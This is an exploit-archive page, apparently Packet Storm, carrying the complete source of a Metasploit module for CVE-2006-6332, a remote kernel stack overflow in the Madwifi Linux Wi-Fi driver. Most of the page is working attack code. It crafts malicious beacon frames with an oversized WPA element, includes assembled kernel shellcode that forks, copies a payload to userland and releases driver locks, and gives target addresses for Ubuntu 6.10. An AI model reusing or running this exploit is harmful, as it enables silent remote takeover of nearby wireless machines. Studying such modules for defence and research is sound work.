what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Madwifi SIOCGIWSCAN Buffer Overflow

Madwifi SIOCGIWSCAN Buffer Overflow
Posted Oct 27, 2009
Authored by Laurent Butti, Julien Tinnes

This Metasploit module exploits a stack-based buffer overflow in the Madwifi driver.

tags | exploit, overflow
advisories | CVE-2006-6332
SHA-256 | 0754c28ffae1c6acf4d1bb93d5f0ef0b22f7d54c1e399116520b529c45ac5417

Madwifi SIOCGIWSCAN Buffer Overflow

Change Mirror Download
# Madwifi remote kernel exploit
# 100% reliable, does'nt crash wifi stack, can exploit
# same target multiple times
#
# Julien TINNES <julien at cr0.org>
# Laurent BUTTI <0x9090 at gmail.com>
#
# vuln in giwscan_cb, here's the path:
#
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
#
require 'msf/core'
require 'metasm'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Lorcon2

def initialize(info = {})
super(update_info(info,
'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow',
'Description' => %q{
The Madwifi driver under Linux is vulnerable to a remote kernel-mode
stack-based buffer overflow.

The vulnerability is triggered by one of these properly crafted .
information element: WPA, RSN, WME and Atheros OUI Current madwifi .
driver (0.9.2) and and all madwifi-ng drivers since r1504 are .
vulnerable .

Madwifi 0.9.2.1 release corrects the issue.

This module has been tested against Ubuntu 6.10 and is 100% reliable,
does'nt crash the Wifi stack and can exploit the same machine multiple
time without the need to reboot it.

This module depends on the Lorcon2 library and only works on the Linux
platform with a supported wireless card. Please see the Ruby Lorcon2
documentation (external/ruby-lorcon/README) for more information.
},

'Author' =>
[
'Julien Tinnes <julien at cr0.org>',
'Laurent Butti <0x9090 at gmail.com>'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Targets' =>
[
['Ubuntu 6.10', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => "0x8014401" }],
['Generic (you need non randomized vdso)', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => nil }]
],
# 'Stance' => Msf::Exploit::Stance::Passive,
'Payload' => {
#'Space' => 65,
# Metasploit does'nt support dynamic size payloads
# so we will handle this in metasm instead and ask for
# the smaller payload possible
#'Encoder' => Msf::Encoder::Type::Raw,
'DisableNops' => true },

'Platform' => 'linux',
'Arch' => [ ARCH_X86],
'References' =>
[
['CVE', '2006-6332'],
['OSVDB', '31267'],
['URL', 'http://www.madwifi.org'],
]
))
register_options(
[
OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
], self.class)

end

def exploit
open_wifi

#puts "kikoo " + payload.encoded.inspect
#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')

stime = Time.now.to_i
rtime = datastore['RUNTIME'].to_i
count = 0

print_status("Shellcode size is: #{payload.encoded.length} bytes")
print_status("Creating malicious beacon frame...")

frame = create_beacon()

print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")

while (stime + rtime > Time.now.to_i)
wifi.write(frame)
select(nil, nil, nil, 0.10) if (count % 100 == 0)
count += 1
break if session_created? and datastore['SINGLESHOT']
end

print_status("Completed sending #{count} beacons.")
end

def create_beacon

ssid = datastore['SSID'].to_s
bssid = Rex::Text.rand_text(6)
channel = datastore['CHANNEL'].to_i
len = datastore['LENGTH'].to_i
seq = [rand(255)].pack('n')
jmpesp = target['JMPESP'] # jmp esp in vdso
scan_iterate_ra=target['scan_iterate_ra'] # address just after the call
# in ieee80211_scan_iterate in wlan.ko
if scan_iterate_ra
howtoreturn="RETURN_PROPERLY" # Return to the parent of giwscan_cb parent
else
howtoreturn="RETURN_BADLY" # Return to userland with IRET
end
bssiwlist = 0x0804ddd0

stacksize="STACK_8K"
getregs="CALCULATE"
#getregs="IWANTTOSCANMANUALLY"
reg_cs="0x73"
reg_ss="0x7b"

wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
#define #{stacksize} 1
#define #{getregs} 1
#define CS #{reg_cs}
#define SS #{reg_ss}
#define #{howtoreturn} 1

; chunk1
db 0, 0x50, 0xf2 ; wpa_oui
db 1 ; wpa_typ
db 1, 0 ; wpa_ver

back2:
;push 0x1C
;ret

;cld

#ifdef RETURN_PROPERLY
mov ebx, esp ; save esp
#endif

#ifdef IWANTTOSCANMANUALLY
mov eax, 4
checkforcs:
add esp, eax
cmp dword ptr [esp], 0x73 ; scan for cs
jnz checkforcs

cmp dword ptr [esp+12], 0x7b ; scan for ss
jnz checkforcs

mov edi, dword ptr [esp+8] ; put user stack address in edi
push edi

; NO SCAN, calculate the good value
#else


#ifdef STACK_8K
or esp, (0x2000-1) ; assume 8K stack
#else
or esp, (0x1000-1) ; assume 4K stack
#endif

sub esp, 0x17 ; cf return_from_syscall
mov edi, dword ptr [esp+8]
push edi

; IWANTTOSCANMANUALLY
#endif

; We can also go to BSS instead of stack
;mov edi, #{bssiwlist}
;push edi

call endsc

beginsc:
#if 0
call greetings
toto db "You're pwn3d :(\\n"
greetings:
mov eax, 4
mov ebx, 1
pop ecx
mov edx, (greetings - toto)
int 0x80
#endif

xor eax, eax
inc eax
inc eax
int 0x80 ; fork
cmp eax, 0
jnz doexit

;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"

;; Metasploit's shellcode integration
; Old, bad method
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"

; this will be replaced by metasploit's payload
metasc:
; metasm will add padding here so that the next .offset is honored
.pad db 0x33
metascend:

doexit:
#if 1
; exit
xor eax, eax
inc eax
;mov ebx, 42
int 0x80
#endif
endsc:

pop esi
; let's copy the shellcode to userland
mov ecx, endsc - beginsc
rep movsb

#ifdef RETURN_PROPERLY
mov esp, ebx ; restore stack pointer

; If SCANFOR_SCAN_ITERATE defined
; scan for ieee80211_scan_iterate
; example address: e0b46401 (scan_iterate+0x11)
; It should be easier to use this if porting the exploit in a hurry
;#define SCANFOR_SCAN_ITERATE

#ifdef SCANFOR_SCAN_ITERATE
sub esp, 4 ; you can remove this in most cases
checkforretadd:
add esp, 4
mov ebx, dword ptr [esp+16] ; scan for return address, we know that we have
; four saved register before the return address
; (+16)
and ebx, 0x07FF
cmp ebx, #{scan_iterate_ra} & 0x07FF
jnz checkforretadd

;mov ebp, edi ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
; we need a writeable address

#endif
; Here we know the stack layout and esp already has the correct value

pop ebx ; Well, no need to fixup EBP, just run
; sta_iterate epilogue, thanks Staphane Duverger,
; how could I miss that!
pop esi
pop edi
pop ebp

; release the locks
push esi ; save esi
mov eax, edi ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
; just before the call to i*_scan_iterate and in sta_iterate just before
; the ret
mov eax, [eax+0x978] ; cf. i*_scan_iterate
mov esi, [eax+8] ; cf. sta_iterate

xor eax, eax
inc eax
mov edx, eax
;xchg dl, [esi] ; already unlocked
xchg al, [esi+0x8C] ; release the lock!

pop esi

ret ; end of sta_iterate epilogue

; Else we don't return properly
#else

; we directly return from the syscall
iret

#endif

.offset 64*2+21

; chunk2
back1:
jmp.i back2
dd 0 ; this MUST be zero

; chunk3
dd 0, 0, 0, 0 ; end_buf, current_ev, ieee, iwscanreq

; chunk4
db #{len-6} dup(0x33)
;dd 0xffffe777 ; addr of 'jmp esp' in vdso page
dd #{jmpesp}
jmp.i8 back1
; assert
.offset 198
;.padto 198 ; assert
EOS
wiframe.encoded.patch("metasc", "metascend", payload.encoded)
value = wiframe.encode_string

#, 'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)

#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')

if (len == 24 and value.length != 198)
raise "Value is too big! #{value.length}"
end

buf = "\xdd" + value.length.chr + value

frame =
"\x80" + # type/subtype
"\x00" + # flags
"\x00\x00" + # duration
eton(datastore['ADDR_DST']) + # dst
bssid + # src
bssid + # bssid
seq + # seq
Rex::Text.rand_text(8) + # timestamp value
"\x64\x00" + # beacon interval
"\x01\x00" + # capabilities

# ssid IE
"\x00" + ssid.length.chr + ssid +

# supported rates IE
"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +

# channel IE
"\x03" + "\x01" + channel.chr +

# invalid wpa IE buffer overflow
# wpa ie is an example, still valid for other IEs
buf

return frame
end

end

Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    11 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close